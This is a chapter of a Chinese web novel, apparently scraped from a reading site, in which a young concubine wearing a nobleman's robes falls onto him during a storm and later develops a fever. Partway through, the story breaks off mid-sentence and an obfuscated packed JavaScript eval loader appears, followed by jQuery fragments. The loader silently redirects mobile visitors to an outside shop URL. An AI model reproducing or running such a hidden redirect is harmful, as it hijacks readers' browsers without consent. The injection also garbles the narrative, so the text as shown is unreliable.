8. 滚烫

作品:《弟妾

    原本皎洁的夜色被厚重的浓云遮蔽,众妙堂中里成片的春树在雷雨中啪哒做响,回廊檐上玉铃成乐声般响着,借着石灯昏黄的烛光,萧怜推开净室的门。


    室内烛光明亮,绣竹杉木的屏风后一方玉池阶梯慢慢爬入水中,汤泉内水波平静,氲起层白雾。


    屋内一屏风、一池子、一衣架和方台,再无其他物件。


    简洁而朴素。


    但萧怜无暇欣赏他净室的陈设,阖上门,褪下湿透的衣裳后,迈向汤泉池。


    片刻后,她沉下肩,让身体浸在汤中。


    外面的风雨声愈加强烈,穿廊而过的风时而掀起支摘窗,又啪哒一声落下。


    面对狂躁的天气,萧怜只好速战速决。


    可当她抬着腿走上石阶时,才猛然发觉此处并无她的衣物。以赵颐的为人,众妙堂中亦不会有女子衣物。


    从衣架上拿过条帨巾擦拭身子,正要放回时,目光却凝在衣架的衣物上。


    月白色的轻薄深衣,墨色长袍……是赵颐的衣裳。


    萧怜伸手取过,未经思忖就裹在身上,两重袍子随意地穿好。


    他的衣袍又长又宽大,她身量较小,墨色的袍尾便拖在地上,好似堆叠而成的连绵山丘。


    当她衣襟宽松地拖着袍角走回正屋时,院中已经连重赢的身影都望不见了。


    萧怜推了推门,没推开。


    她又伸手去推。


    门被人从里阖上了。


    “你不敢见我。”萧怜望了眼阴翳的天色,嘴角处一抹轻笑,“你为何不敢见我?”


    屋内静默一瞬,少时,屋内响起声音,“不合礼法,还望姨娘在西院随处找间屋子避雨。”


    声音温润平和,不急不躁,并无半点锋芒,可萧怜听来却觉着满含嘲讽。


    她正要出言嘲讽,话意抵达舌尖时,又硬生生咽回去。


    深吸一口气后,她缓了缓嗓音,“脚崴了,你这院中,只有你这处有药罢。”


    他连重赢都遣走了,还能命谁送药给她?


    这般说着,萧怜抬腿动了动,足尖刚点地,踝处便猝然窜上一阵尖锐的刺痛,宛如被淬毒的针直扎进骨缝里。后背霎时沁出一层冷汗,她紧扶着楹柱才咽下痛楚。


    数十息过去,屋内仍旧一派寂静。


    她心生恼怒,火气窜上心头,语气是未能克制住的夹枪带棒,“你若不想我淋着雨水从你院中出去,就开门。”


    如此,明早阖园的人都知晓今夜的事了。


    屋内继续默声。


    等了几息后,萧怜忍无可忍,纤细的柔荑使劲猛然往门上一推。


    门开了。


    由于惯性,身子不由向前倾去,站稳后,她有些茫然地望了眼门后,门闩上木杠只横在一侧,没有从中锁上的意思。


    像是意识到什么,她掀开层纱帘往里走去。


    赵颐端坐于凭几内,香炉中,状如莲花的烟波升起。


    他身姿一贯的端正,神情依旧淡漠如渊,月白的衣袂随着翻书的动作在软席上铺开,不似寰尘中人。


    “看来传闻不假,你仗着三郎宠爱无法无天。”见她进来,赵颐不急不徐地翻动着书页,“眼下三郎不在,竟还如此狂妄。”


    她这般模样,何需他护着?


    三郎……未免将她想得过于柔弱了。


    “赵凛爱我,愿意宠着我,二公子不满意吗?”萧怜背对着门户,漂亮的面颊上隐隐透露着不满,“我以为二公子应该最满意才是。”


    听到“二公子”这一称呼,赵颐眸子淡淡横过来。


    视线落在来人身上,在瞥见她身上的衣袍时,眉头几不可察地蹙起,“满意与否,园中也有园中的规矩,世俗也有世俗的伦理礼法。”


    赵颐平静地打量着她,“还望姨娘,莫要忘了自己的身份。”


    萧怜没有答话,无数人强调过她的身份,早已耳朵生茧子了。今日若非她的衣袍尽湿,他未安排衣裳,她何需穿他的袍子。


    从前同他在一块儿,他以这种行径过于亲密为由,总总拒绝她穿他衣裳的请求。当初未穿过,如今却穿上了。


    正屋大门被打开,湿凉的气息随之侵袭而来。


    三月天本已经有了丝丝暖意,一场风雨侵袭而来,不知是凉意复还,还是怎,随着风灌入,萧怜不由笼紧了衣襟。他的衣裳宽大,并不暖和。


    萧怜忆起先前观徼亭内的场景,不由笑了笑。她最厌恶这人总谈礼法规矩的模样。


    “你这副说教的模样,当真让人生厌。”她目光扫过去。


    赵颐不动声色地用着茶,“既然厌恶,就别想方设法见我。”


    他都知道。


    她那些拙劣的勾引招式。


    “你当我多想见你。”念着自己的目的,她暂未打算同他闹得更僵,只道,“在你院前摔了,正需瓶活血化瘀的药酒。”


    说着,萧怜睨他一眼,一瘸一拐地走到箱柜前,按照他放置物件的习惯去寻药酒。


    约莫是接受不了旁人碰他的物件,在她即将拉开箱柜时,男人的手先一步打开箱子,精准地在一堆瓷白的药瓶中拿出活血化瘀的药酒。


    赵颐将物件递给她,又缓步坐回凭几内。


    萧怜不是个避讳的人,也不曾想女子贞洁有多么重要,她一贯是想便做了,人生苦短,当应及时行乐。


    正如同此刻,她坐在赵颐对面的一方软榻上,缓缓掀开堆在脚下的袍角,掀开,抬高,露出细腻白净的小腿。


    瓶塞被拨开,萧怜将清液倒在壶中,浸湿丝帕后按在脚踝处。


    正对面,男子不知怎地霍然掀起眸子。


    四目相对之时,赵颐心脏骤紧。


    下一瞬,他撩袍起身,猛然背过身,抬腿往里屋走去。


    见状,萧怜心头念头突起,顾不得脚处的疼痛跟上去。


    脚踝处阵阵的刺痛普通针扎一般,又一次抬腿,半条腿都麻了下来,她倾身向前扑去。


    这一扑,正好扑在赵颐身上。


    他本就背对着身,对这突如其来的意外并无防范,刚回过神转了半个身子,女子的身子就扑过来,幸而手肘反撑稳住身子,这才避免两人重重摔在地上。


    只是……


    他跌倒在地,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887532|192073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女子扑在他身上,肢体相贴,全然是引入遐想的姿态。


    满室阒然。


    萧怜也未想到,自己会以这般法子再次碰到赵颐的身子,她不光贴在他身上,双手还紧紧攥住他的手臂,姿态好不亲昵。


    他茫然而又惊愕地望着屋顶,衣袂和袍角散开,好似铺成朵广玉兰,修长的手指叩住她纤弱的肩膀,胸口因意外起伏不定。


    密而长的黑睫在眼上眨了眨,于眼睑下方投下层阴翳,她抬头正对上他失焦的黑眸。


    萧怜不由咽了咽喉咙。


    男子的身体一如既往的清瘦,又不失肉感,她能明显感受到这人胸腹精劲的肌肉起起伏伏。


    他一个文官……


    却也不比赵凛差。


    也就只有这副身子,能引起她的期待了。


    药酒的气味渐渐在鼻间铺散开,气味的刺激感让赵颐微微回过神,重感从身前传来,他敛眉看到女子三千的青丝猛然回过神,正欲望推开萧怜起身。


    柔着力道推了两下,并未推开。


    脑袋又晕又热,不知是哪来的思绪,萧怜攥着他的手松开,不给他缓神的机会,双手绕过腰间穿过去,紧紧搂住他。


    “赵颐……”


    似是被这个称呼晃了晃,赵颐黑眸一片深沉。


    顿了顿,还是使了几分力推开身上的人。


    等萧怜再次抬眸,赵颐已经端正地立在博古架前,她跽坐在地,还未起身就见他阔步走出屋子。


    嘈杂的声响中,门被猛一声阖上。


    屋内只剩萧怜一人。


    这算甚?


    不过是碰一下,就生那么大的气。


    此行的欲望未得餍足,她心头同样火气正甚,丝毫没顾及脚上的疼痛,走到矮几面前,拿起他方才看过的那卷书就往地上砸。


    她气不过,又砸了好些珍贵的杯盏和砚台笔架之物,待砸累了就趴在他的软榻上。


    不知是着凉了,还是榻上有他的气息,萧怜头昏得厉害,才沾榻不久便迷迷糊糊地睡过去。


    .


    屋外。


    赵颐立在檐廊下,迎面吹着凉风。


    身上难言的躁意,不上不下,卡在心头,既上不去也下不来。


    这种感觉已许久未曾出现,他不知该如何平复。


    屋内的瓷器破碎的声响还在继续,赵颐深深吐出口清气。


    雷雨未曾停歇过,大半个时辰后,衣袍下方已经被雨水打湿一片。屋内破碎的声响停歇已久,他转身回到屋内。


    阖上门,不出意料地,破碎的瓷片凌乱地散落在地面各个角落。


    赵颐避开碎片,继续往里走。


    层层纱帐之后,萧怜躺在黄花梨木的榻上,身子背对着门牖,深衣半解。


    理智劝告赵颐应当离开,可脚步却不受控制般向前迈去。


    酣睡中的女子不知怎地翻过身,柔荑捋了捋青丝,继续酣眠。


    赵颐却接着微弱的烛光发觉不对,榻上之人鼻息微微,腮边的红晕开得不正常。


    思忖片刻,他伸手探去。


    额间一片滚烫。